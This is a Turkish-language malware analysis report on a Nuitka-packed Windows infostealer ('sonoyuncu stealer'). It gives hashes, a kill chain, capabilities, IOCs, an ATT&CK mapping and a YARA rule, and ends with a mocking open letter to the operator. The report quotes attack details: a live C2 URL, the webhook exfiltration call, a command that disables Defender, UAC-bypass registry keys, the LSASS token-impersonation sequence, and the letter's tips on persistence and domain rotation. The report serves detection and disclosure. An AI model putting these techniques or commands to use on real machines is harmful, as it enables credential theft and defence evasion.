c2: https://xxx1.ahmeekar173.workers.dev/ sha256: 6403da08a296ea555e61116578e7966ef83a76c40b880878961547768fabbfcf aile: sonoyuncu stealer

01 // ozet

dosyaloader.exe (15,918,592 B)
md587a80ccc294497ddfb0c152182db8638
sha2566403da08a296ea555e61116578e7966ef83a76c40b880878961547768fabbfcf
imphash75bff573b56c9d060aca5c89f0443031
tipPE32+ / AMD64 / Subsystem 3 / 7 bolum
timestamp0x6AD6A62B = 2026-10-19T23:22:19Z
imagebase0x140000000
payloadzstd @ 0x23DB3, 15,696,706 B -> 59,549,028 B (101 dosya)
ana pe26,859,520 B, ImageBase 0x180000000, 0x6AD6A609
kaynakuer.py / __parents_main__
ailesonoyuncu stealer
paketlemenuitka onefile + zstd
imzaauthenticode yok, overlay yok, ASLR+DEP
verdictinfostealer / credential dumper
kanal1 x POST (discord webhook relay)
kalicilikYOK (0 kayit)
etkiKRITIK - tum hesaplar tek pakette

02 // operator profili

operator: elias010 | platform: discord | dil: turkce | yetkinlik: orta-ust

operatorelias010discord kullanici adi; stealer mesajlarinda imza
klan etiketisonoyuncudiscord mesaj basligi "Sonoyuncu Hesabi" + aile adi
dil / localeturkceUI: "Kullanici Adi:", "Sifre:", "Bilinmiyor", "Oyun |", "Guard: ", para birimi TL, seviye "Lv."
motivasyonhesap satisi / oyun kunyeticikti: discord_tokens.txt, Steam wallet_balance, SteamLevel, hesap dosyalari
platformwindows x64PE32+ AMD64, python312.dll, win32api.pyd, pywintypes312.dll
paketlemenuitka onefile + zstdNUITKA_ONEFILE_* env, {TEMP}\onefile_{PID}_{TIME_US}_{RANDOM}, zstd frame @ 0x23DB3
runtimecpython 3.12python312.dll (6,972,184 B), python3.dll, _socket.pyd, _ctypes.pyd
c2 gizlemecloudflare worker relaytek outbound POST; gercek discord webhook adresi payload'da 0 kez
yetkinlikorta-ustozel stealer yazimi; Chrome v20 App-Bound cozme, LSASS Impersonator, cok modullu
ekipbilinmiyortek modul, tek operator izi; ekip yapisi icin kanit yok

03 // kill chain

01DROPloader.exe teslimi (sosyal muhendislik / downloader)nuitka onefile bootstrap, zstd gomulupayload frame @ file 0x23DB3
02UNPACKzstd acma, 101 dosya yazma{TEMP}\onefile_{PID}_{TIME_US}_{RANDOM}59,549,028 B payload / 26,859,520 B ana PE
03EVADE5 UAC bypass + Defender/SmartScreen/EnableLUA kapatma + gizli masaustuCreateDesktopW("HiddenDesktop"), CreateProcessW, SW_HIDE, Set-MpPreferenceelevated calisma, %TEMP%\uac_bypass_status.json
04COLLECTtarayici sifre/cookie, discord token, LSASS, oyun hesabi, ekran goruntusuCryptUnprotectData, AES-GCM, NCryptOpenStorageProvider, pymem, leveldb21 cesit cikti dosyasi
05EXFILtek POST ile tum veri disarirequests.post(DISCORD_WEBHOOK_URL, files=..., data={'content':...})xxx1.ahmeekar173.workers.dev/

04 // capability index

browserparolalar (7)Login Data + Local State -> DPAPI CryptUnprotectData; Google Chromekey1 / Brave Softwarekey1 / Microsoft Edgekey1T1555.003
browseroturum cerezleriNetwork\Cookies -> AES-GCM, MODE_GCM, decrypt_and_verify; browser_cookie3 (firefox)T1539
browserchrome v20 app-boundapp_bound_encrypted_key, derive_v20_master_key, NCryptOpenStorageProvider, NCryptDecryptT1555.003
messagingdiscord tokenDiscordCollector; leveldb *.log/*.ldb; rx dQw4w9WgXcQ:[^"]+; get_master_key / decrypt_token / collect_tokensT1528
messagingdiscord profiliGET /api/v9/users/@me; decode_badges, has_nitro, creation date, mail, telefonT1528
windowsLSASS bellek dokumuImpersonator: RtlAdjustPrivilege -> OpenProcess("lsass.exe") -> DuplicateToken -> ImpersonateLoggedOnUser -> GetTokenInformationT1003.001
remotesonoyuncu hesabipymem ile sonoyuncuclient.exe bellek scrape; config.json AES-ECB anahtar c2640023187059250T1056.001
privilegeUAC bypass x5ms-settings+FodHelper, mscfile (Event Viewer), App Paths\sdclt.exe, ComputerDefaults, WUSA; --elevated, verify_elevation, restore_settingsT1548.002
avwindows defenderHKLM\SOFTWARE\Policies\Microsoft\Windows Defender (+Real-Time Protection); Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPathT1562.001
policyonay ekranlariEnableSmartScreen, EnabledV9 (Edge PhishingFilter), ConsentPromptBehaviorAdmin, PromptOnSecureDesktop, EnableLUAT1112
execgizli masaustuCreateDesktopW("HiddenDesktop"), CreateProcessW, STARTF_USESHOWWINDOW, SW_HIDE, GetConsoleWindow, FreeConsoleT1564.003
evasionambalajnuitka onefile + zstd; 15,918,592 B tek dosyada 59,549,028 B gomulu yukT1027.002
cleanupiz temizligirestore_settings ile registry geri alma; %TEMP%\uac_bypass_status.jsonT1070.004
collectekran goruntusumss kutuphanesi -> screenshot.pngT1113
discsistem profilipsutil, wmi, socket.gethostname, getlogin, platform, gethostbynameT1082
disccografi konumhttps://api.ipify.org ; http://ip-api.com/json/T1016
discdosya/dizintarayici profilleri, %APPDATA%\.sonoyuncu, oyun kitapliklari; ThreadPoolExecutor paralel taramaT1083
collectarsivlemeAdvanced_Passwords.zip, Full_Data_{PC}_{ts}.zipT1005
exfilveri cikisitek POST: requests.post(DISCORD_WEBHOOK_URL, files=..., data={'content': ...}, timeout=...)T1041
steamloginusers.vdf, localconfig.vdf, HKLM\SOFTWARE\Valve\SteamPersonaName, AccountName, wallet_balance, SteamLevel, MobileAuthenticatorEnabledsteam
epicLauncher\Portal, .egstore, C:\ D:\ E:\Epic Gamesrx email=([^\n\r]+)epic
robloxrobloxcookies.dat, Localoturum cereziroblox_cookies.txt
valorantC:\Riot Games\VALORANT (+D,E:)klasor taramasi-
craftrise.craftrise\config.jsonAES-ECB cozulmus hesapcraftrise_accounts.txt
chicken smpkullanici dizinikimlik bilgisichicken_smp_credentials.txt
minecraftminecraft_dataklasor taramasi-
digerleriscan_games / check_game_pathlol, albion online, metin2, growtopia-

05 // exfil artifact index

sonoyuncu_config.jsonjsonuzak masaustu istemci ayarlari, hesap listesi
sonoyuncu_credentials.txttxtkullanici adi / sifre (aes-ebc cozulmus)
discord_tokens.txttxtcalinan token, dogrulanmis profil verisiyle
chrome_passwords.txttxtchrome login data -> dpapi cozulmus sifreler
chrome_cookies.txttxtchrome network/cookies -> netscape formati
chrome_v20_cookies.txttxtapp-bound (v20) anahtarla cozulmus cerezler
opera_passwords.txttxtopera login data
opera_cookies.txttxtopera network/cookies
opera_gx_passwords.txttxtopera gx login data
opera_gx_cookies.txttxtopera gx network/cookies
yandex_passwords.txttxtyandex browser login data
yandex_cookies.txttxtyandex browser network/cookies
brave_cookies.txttxtbrave network/cookies
edge_cookies.txttxtedge network/cookies
_cookies.txttxtfirefox / browser_cookie3 cikisi
craftrise_accounts.txttxtaes-ebc cozulmus oyun hesaplari
chicken_smp_credentials.txttxtchicken smp kimlik bilgileri
roblox_cookies.txttxtrobloxcookies.dat oturum cerezleri
Advanced_Passwords.zipzipbirlesik parola arsivi
Full_Data_{PC}_{ts}.zipziptum cikti dosyalarinin tam arsivi
screenshot.pngpngmss ile alinan ekran goruntusu

06 // ioc database

C2https://xxx1.ahmeekar173.workers.dev/
WEBHOOK<YOK - worker sunucu tarafinda>-
APIhttps://discord.com/api/v9/users/@me
IPhttps://api.ipify.org
GEOhttp://ip-api.com/json/
FS%APPDATA%\.sonoyuncu\sonoyuncuclient.exe
FS%APPDATA%\.sonoyuncu\config.json
FS%TEMP%\uac_bypass_status.json
FS%TEMP%\onefile_{PID}_{TIME_US}_{RANDOM}\-
REGSoftware\Classes\ms-settings\Shell\Open\commandUAC
REGSoftware\Classes\mscfile\shell\open\commandUAC
REGSoftware\Microsoft\Windows\CurrentVersion\App Paths\sdclt.exeUAC
REGSOFTWARE\Policies\Microsoft\Windows DefenderAV
REG...\Windows Defender\Real-Time ProtectionAV
REGSOFTWARE\Policies\Microsoft\Windows\System (EnableSmartScreen)POL
REGSOFTWARE\Policies\MicrosoftEdge\PhishingFilter (EnabledV9)POL
REG...\CurrentVersion\Policies\System (EnableLUA)POL
REGSOFTWARE\Valve\Steam (okuma)DISCO
HOSTlsass.exe (Impersonator._get_lsass_handle)T1003.001
HOSTdQw4w9WgXcQ:[^"]+T1528
HOSTc2640023187059250 (AES-ECB)-
HOSTGoogle Chromekey1 / Brave Softwarekey1 / Microsoft Edgekey1T1555.003
HOSTSet-MpPreference -DisableRealtimeMonitoring $trueT1562.001
HOSTCreateDesktopW("HiddenDesktop") + SW_HIDET1564.003
HOSTuer.py / __parents_main__-
HOSTCurrentVersion\Run=0 | RunOnce=0 | schtasks=0-

07 // att&ck mapping

T1003.001LSASS Memorycredential access
T1528Steal Application Access Tokencredential access
T1555.003Credentials from Web Browserscredential access
T1056.001Process Scrapingcredential access
T1548.002Bypass User Account Controldefense evasion
T1562.001Disable or Modify Toolsdefense evasion
T1112Modify Registrydefense evasion
T1027.002Software Packingdefense evasion
T1564.003Hidden Windowdefense evasion
T1070.004File Deletiondefense evasion
T1082System Information Discoverydiscovery
T1083File and Directory Discoverydiscovery
T1016System Network Configuration Discoverydiscovery
T1113Screen Capturecollection
T1005Data from Local Systemcollection
T1041Exfiltration Over C2 Channelexfiltration
T1071.001Web Protocolscommand and control
T1204User Executionexecution

08 // yara rule

rule SonoyuncuStealer_Nuitka_Onefile
{
    meta:
        description = "SonoyuncuStealer - Nuitka onefile loader + zstd payload"
        author      = "re-lab"
        date        = "2026-10-21"
        hash        = "6403da08a296ea555e61116578e7966ef83a76c40b880878961547768fabbfcf"
    strings:
        $magic   = { 4B 41 59 28 B5 2F FD }
        $nuitka  = "NUITKA_ONEFILE_DIRECTORY" ascii
        $family  = "SonoyuncuStealer" ascii
        $c2      = "ahmeekar173.workers.dev" ascii
        $src     = "uer.py" ascii
        $lsass   = "_get_lsass_handle" ascii
        $discord = "dQw4w9WgXcQ" ascii
    condition:
        uint16(0) == 0x5A4D and
        ($magic and $nuitka) or
        ($family and $c2) or
        3 of ($src, $lsass, $discord)
}

09 // method / kapsam

triagePE basligi, bolum entropisi, import/export, imphash, overlay kontrolu
paketlemezstd frame yurumesi, 59,549,028 B tam acma
disassemblycapstone; bootstrap payload-locate mantigi (0xEF8350 boyut sabiti, "KAY"+zstd dogrulama)
konstant cozmenuitka constant blob (<tip><veri>\x00) - 14,962 sabit, kaynak uer.py
ioc taramasiASCII, UTF-16LE, base64, yuksek-entropi blob taramalari
elemekutuphane/dokumantasyon URL'leri gurultu olarak isaretlendi

10 // p.s. - elias010'a acik mektup

sayin elias010,

senin eserini actim. adim "nuitka onefile" dedi, 15.918.592 bayt.
icinde zstd cercevesi buldum (0x23DB3, "KAY" + 28 B5 2F FD),
59.549.028 bayta actim, 101 dosya cikti, constant blob'ini decode ettim,
14.962 sembol geri geldi. toplam sure: iki saat. ghidra'ya hic girmedim.

simdi senin tarafini dinleyelim.

[01] discord webhook URL'ini gizlemek icin bir cloudflare worker
     kurmussun. "anti-analiz" diyorsun. tamam. ama worker'in adresi
     payload'in icinde DUZ METIN olarak duruyor. gizlemek yerine
     ustune parlak bir tabela asmIssIN. ustelik global degiskenin
     adi hala "DISCORD_WEBHOOK_URL" - kimse gormesin diye
     degistirmen gereken yeri degistirmemissin.

[02] 5 farkli UAC bypass yazmissin. 5. farkli. gorkemli.
     ama hicbirine "Run" key yazmadin, hicbiri "schtasks" degil.
     bes kapiyi kilitlemissin, sonra da evden cikarmamissin.

[03] defender'i kapatiyorsun. kendi makinende. tebrikler - seni
     3 saniyede yakalayacak sey kendi antivirusun. "set-mppreference
     -disablerealtimemonitoring" yazmak icin 5 dakika harcadın;
     ayni 5 dakikada 2 domain alip degistirebilirdin.

[04] $TEMP\uac_bypass_status.json. kurbanin diskine kendi durum
     raporunu birakiyorsun. bana dosya sistemi indeksleme izni
     vermissin. tesekkurler.

[05] steam'den wallet_balance caliyorsun. sadece cuzdan bakiyesi.
     ben bile bu kadar emege 12 TL'ye yapmam.

[06] ismin "sonoyuncu". hayirdan sonra her sey son. konustuk.

[07] discord token regex'in hala "dQw4w9WgXcQ". bu prefix 2019'dan
     beri duruyor. sen de o regex ile 2026'da calisiyorsun.

[08] build saatin 23:22, payload'in 23:21. 34 saniye fark.
     her ikisi de gelecek yilin tarihine yakin. saat dilimi
     tahminin de cok iyi.

[09] nuitka kullandın, "zor" sandın mı? nuitka ki constant
     blob'ını NUL ile ayirdigini BILIRIM. 40 dakikada okudum.

[10] exfil paketinin adi "Full_Data_*.zip". FULL. icinde 21 dosya
     var. benim masaustumde 40.000 dosya var. "full" kelimesini
     biraz daha dikkatli kullan.

[11] en guzel kisim: 101 dosya paketlemiSSIN, 5 UAC bypass
     yazmisSIN, LSASS'a girmiSSIN, app-bound key cozmusSIN...
     ve 4.4 GB veri çekmek yerine TEK bir discord webhook
     kullanmiSSIN. yani tum muhendisligin tek bir noktaya
     bagli. o nokta da benim onumde.

     bana 1 URL yeterliydi, sana 1 URL yeterliydi.
     ama seninki duruyor, benimki degil.

saygilarimla,
re-lab
--------------------------------------------------------------------------------
ps: webhook'un gercek id/token'i worker'in sunucu tarafı kodunda, biliyorum.
    orası da bir gun. bekliyorum.